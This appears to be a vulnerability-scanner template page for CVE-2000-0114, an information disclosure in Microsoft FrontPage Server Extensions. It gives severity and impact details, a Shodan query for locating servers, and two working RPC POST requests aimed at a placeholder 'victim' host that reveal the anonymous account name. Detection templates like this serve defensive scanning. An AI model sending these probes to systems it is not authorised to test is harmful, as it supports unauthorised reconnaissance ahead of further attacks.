| Title | Microsoft FrontPage Extensions - Information Disclosure |
|---|---|
| Author | r3naissance,matejsmycka |
| Severity | Medium |
| Impact | Unauthenticated attackers can discover the anonymous account name through RPC POST requests to FrontPage Server Extensions, providing reconnaissance information for further targeted attacks against the web server. |
| Remediation | Upgrade to the latest version. |
| CVSS Score | 5.3 |
| EPSS Score | 0.05458 |
| CVE ID | CVE-2000-0114 |
| Shodan Query | cpe:"cpe:2.3:a:microsoft:internet_information_server" |
| Tags | cve cve2000 frontpage microsoft edb vuln |
Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.
POST /_vti_bin/shtml.exe/_vti_rpc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
Content-Length: 21
X-Vermeer-Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
method=server+version
POST /_vti_bin/shtml.dll/_vti_rpc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Length: 21
X-Vermeer-Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
method=server+version
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